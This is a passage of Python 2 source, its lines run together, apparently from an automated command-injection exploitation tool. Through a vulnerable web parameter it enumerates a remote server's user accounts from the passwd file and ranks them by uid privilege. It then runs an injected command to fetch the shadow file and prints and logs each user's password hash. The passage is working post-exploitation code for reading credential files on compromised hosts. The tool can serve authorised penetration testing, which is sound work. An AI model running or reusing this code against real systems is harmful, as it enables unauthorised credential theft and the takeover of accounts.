sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" else : is_privileged = "" is_privileged_nh = "" print " (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users.split(":")) print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_passes = cb_injector.injection_results(response, TAG, cmd) sys_passes = "".join(str(p) for p in sys_passes) session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print " (" + str( count ) + ") " + Style.BRIGHT + fields[ 0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[ 1] + Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg) + "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print "\n" + settings.print_warning_msg(warn_msg)